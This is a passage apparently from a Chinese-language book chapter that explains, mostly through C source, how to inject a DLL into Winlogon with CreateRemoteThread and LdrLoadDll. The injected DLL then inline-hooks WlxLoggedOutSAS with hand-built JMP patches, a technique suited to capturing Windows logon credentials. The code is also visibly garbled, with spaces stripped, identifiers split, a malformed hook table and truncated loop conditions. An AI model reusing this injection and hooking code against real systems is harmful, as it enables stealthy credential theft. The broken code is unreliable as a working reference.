usModule.Buffer=(PWSTR)InjectData(hProcess,pwModuleFileName,(strlen( DllPathName)*2)+1);
free(pwModuleFileName);
if(!usModule.Buffer)gotocleanup;
usModule.Length=(strlen(DllPathName)*2)+1;
usModule.MaximumLength=(strlen(DllPathName)*2)+1;
memcpy(&rpd.ModuleFileName,&usModule,sizeof(UNICODE_STRING)); lpParameters=InjectData(hProcess,&rpd,sizeof(RemoteProcessData)+4096 );
if(!lpParameters)gotocleanup;
lpThread=InjectData(hProcess,&RemoteThread,(PBYTE)EndRemoteThread-(P BYTE)RemoteThread+4096); if(!lpThread)gotocleanup; //Setsecurityattributes
saSecAttr.nLength=sizeof(SECURITY_ATTRIBUTES); saSecAttr.lpSecurityDescriptor=NULL; saSecAttr.bInheritHandle=TRUE;
hThread=CreateRemoteThread(hProcess,&saSecAttr,0,(LPTHREAD_START_ROU TINE)lpThread,lpParameters,0,&dwActual); if(hThread==NULL)gotocleanup;
rc=WaitForSingleObject(hThread,INFINITE); switch(rc) {
caseWAIT_TIMEOUT: break;
caseWAIT_FAILED: break;
caseWAIT_OBJECT_0:
if(ReadProcessMemory(hProcess,lpParameters,&rpd,sizeof (RemoteProcessData),&dwActual))
dwResult=(DWORD)rpd.ModuleHandle; break; default: break; }
cleanup:
if(rpd.ModuleFileName.Buffer!=NULL)
VirtualFreeEx(hProcess,rpd.ModuleFileName.Buffer, 0,MEM_RELEASE); if(lpParameters!=NULL)
VirtualFreeEx(hProcess,lpParameters,0,MEM_RELEASE); if(lpThread!=NULL)
VirtualFreeEx(hProcess,lpThread,0,MEM_RELEASE); if(hThread)CloseHandle(hThread);
if(hProcess)CloseHandle(hProcess); returndwResult; }
(5)远程线程代码的编写。远程线程代码主要是让Winlogon加载目标动态链接库, 加载的方法是调用NTDLL输出的LdrLoadDll函数。 NTSTATUS_stdcallRemoteThread(RemoteProcessData*rpd) {
NTSTATUSrc=(NTSTATUS)rpd->pLdrLoadDll(rpd->PathToFile, rpd->Flags,&rpd->ModuleFileName,&rpd->ModuleHandle); returnrc; }
void_stdcallEndRemoteThread(void){}
(6)注入代码的编写。注入代码和前面进程间代码注入采用的方法完全一样,通
过调用VirtualProtectEx函数在远程进程中分配地址空间,然后刷新缓存中的指令,最 后通过调用WriteProcessMemory函数实现数据的写入,这些数据包括远程线程代码和 数据参数。
LPVOIDInjectData(HANDLEhProcess,LPVOIDlpData,ULONGulFuncLen) {
LPVOIDlpAddress=NULL; DWORDdwOldProtect; DWORDBytesWritten=0;
//在远程进程中非数据分配内存
lpAddress=VirtualAllocEx(hProcess,NULL,ulFuncLen,MEM_COMMIT|MEM _TOP_DOWN,PAGE_EXECUTE_READWRITE); if(lpAddress) {
//改变分配内存的保护状态
if(VirtualProtectEx(hProcess,lpAddress,ulFuncLen, PAGE_EXECUTE_READWRITE,&dwOldProtect)) {
FlushInstructionCache(hProcess,lpAddress,ulFuncLen); //写数据到远程进程
if(WriteProcessMemory(hProcess,lpAddress, lpData,ulFuncLen,&BytesWritten)) {
//恢复原来的保护状态:)
VirtualProtectEx(hProcess,lpAddress,ulFuncLen,dwOldProtect,NULL); //返回数据的远程地址 returnlpAddress; }
//恢复原来的保护状态:)
VirtualProtectEx(hProcess,lpAddress,ulFuncLen,dwOldProtect,NULL); } }
return0; }
(7)到目前为止,目标动态链接库将开始运行,远程进程会首先调用动态链接库
的入口函数进行初始化。在这个代码中首先调用了InitHooks函数,初始化一个数据 结构,然后调用HookFunctionInCurrentProcess函数对当前进程实现API调用替换, 也就是我们说的函数拦截。
#defineWLXLOGGEDOUTHOOK0//#inhtHookTable struct{
char*dll;//DLL名称 char*func;//函数名称
LPVOIDppOriginal;//新地址 LPVOIDppHook;//旧地址 }htHookTable[]={
{\{NULL,NULL,NULL,NULL},//lastrecorddummy };
voidInitHooks(void)
{//\新地址
htHookTable[WLXLOGGEDOUTHOOK].ppHook=&NewWlxLoggedOutSAS; }
BOOLAPIENTRYDllMain(HINSTANCEhInst,DWORDdwReason,LPVOIDpvReserved) {
u_inti;
InitHooks();
switch(dwReason) {
caseDLL_PROCESS_ATTACH: i=0;
while(htHookTable[i].dll&&htHookTable[i].func) {
htHookTable[i].ppOriginal=HookFunctionInCurrentProcess(htHookTab le[i].dll,htHookTable[i].func,htHookTable[i].ppHook); i++; }
break;
caseDLL_PROCESS_DETACH: i=0;
//Unhook
while(htHookTable[i].dll&&htHookTable[i].func) {
UnHookFunctionInCurrentProcess(htHookTable[i].dll,htHookTable[i] .func,htHookTable[i].ppOriginal); i++; }
break; }
return1; }
(8)拦截代码的实现和前面介绍的Detours是一样的。首先它得到当前进程调用函 数的入口地址,保存起来,然后VirtualQuery函数查询和修改该地址的内存信息,对 该地址的入口指令进行替换,使其指向一个新的地址。这里使用了Z0MBiE提供的 LDE32库的disasm_main函数,这个函数能够得到一个指令的长度,它的作用在于保 证入口函数的开始指令长度大于5才能替换。这和Detours是一致的,用户可以参考 Detours实现的源程序。 #defineJMP0xE9//jmp #defineNOP0x90//nop
#defineJMP_SIZE5//jmpxxxxxxxxsize
#defineSTUB_SIZE0x10+JMP_SIZE//original\+jmp
VOIDBuildJMPBuffer(CHAR*pcJmpBuf,DWORDdwJmpAddr) {
pcJmpBuf[0]=(BYTE)JMP;
pcJmpBuf[1]=(BYTE)(dwJmpAddr&0xFF);
pcJmpBuf[2]=(BYTE)((dwJmpAddr>>8)&0xFF); pcJmpBuf[3]=(BYTE)((dwJmpAddr>>16)&0xFF); pcJmpBuf[4]=(BYTE)((dwJmpAddr>>24)&0xFF); }
//这个函数在给定函数的入口地址处填写了一个jmp指令,然后返回原来函数的入口地址 LPVOIDHookFunctionInCurrentProcess(LPCSTRcsModuleName,LPCSTR csFunctionName,LPVOIDlpJmpAddress) {
LPVOIDlpModule,lpFunction,lpStub=NULL;
DWORDdwOldProtect,dwBytesWritten,dwBytesRead,dwLength=0; MEMORY_BASIC_INFORMATIONmbi; CHARcStub[STUB_SIZE]; CHAR*cJmpFunction; CHAR*pReadAddress; INTs;
HANDLEhProcess=GetCurrentProcess(); BOOLbWrite,bRead; //得到模块地址
lpModule=GetModuleHandleA(csModuleName); if(!lpModule) returnNULL; //得到函数地址
lpFunction=GetProcAddress(lpModule,csFunctionName); if(!lpFunction)returnNULL; //获得函数地址的内存信息
VirtualQuery(lpFunction,&mbi,sizeof(MEMORY_BASIC_INFORMATION)); //修改内存区域的保护属性
VirtualProtect(mbi.BaseAddress,mbi.RegionSize,PAGE_EXECUTE_READWRITE ,&mbi.Protect);
//使用nop指令添加代理入口地址 FillMemory(cStub,STUB_SIZE,NOP); pReadAddress=lpFunction;
//读取第一条汇编指令的长度,Z0MBiE在LDE32中提供 s=disasm_main(pReadAddress); while(s!=-1&&dwLength dwLength+=s; pReadAddress+=s; s=disasm_main(pReadAddress);//下一条指令的长度 } //函数代码太短,无法完成 if(dwLength //读取函数的前几个指令到代理缓冲区 bRead=ReadProcessMemory(hProcess,lpFunction,cStub,dwLength,&dwBytesR ead); if(!bRead||dwBytesRead!=dwLength)gotoprotect; lpStub=VirtualAlloc(NULL,STUB_SIZE,MEM_COMMIT|MEM_TOP_DOWN,PAGE_ READWRITE); if(!lpStub)gotoprotect; BuildJMPBuffer(cStub+(STUB_SIZE-JMP_SIZE),((DWORD)lpFunction+dwLengt h)-((DWORD)lpStub+(STUB_SIZE))); bWrite=WriteProcessMemory(hProcess,lpStub,cStub,STUB_SIZE,&dwBytesWr itten); if((!bWrite)||(dwBytesWritten!=STUB_SIZE))gotofree; VirtualProtect(lpStub,STUB_SIZE,mbi.Protect,&dwOldProtect); cJmpFunction=(CHAR*)malloc(dwLength); FillMemory(cJmpFunction,dwLength,'\\0'); BuildJMPBuffer(cJmpFunction,(DWORD)lpJmpAddress-(DWORD)lpFunction- JMP_SIZE) bWrite=WriteProcessMemory(hProcess,lpFunction,cJmpFunction,dwLength, &dwBytesWritten); free(cJmpFunction); if(!bWrite||dwBytesWritten!=dwLength) { if(dwBytesWritten) WriteProcessMemory(hProcess,lpFunction,lpStub,dwBytesWritten, &dwBytesWritten); gotofree; }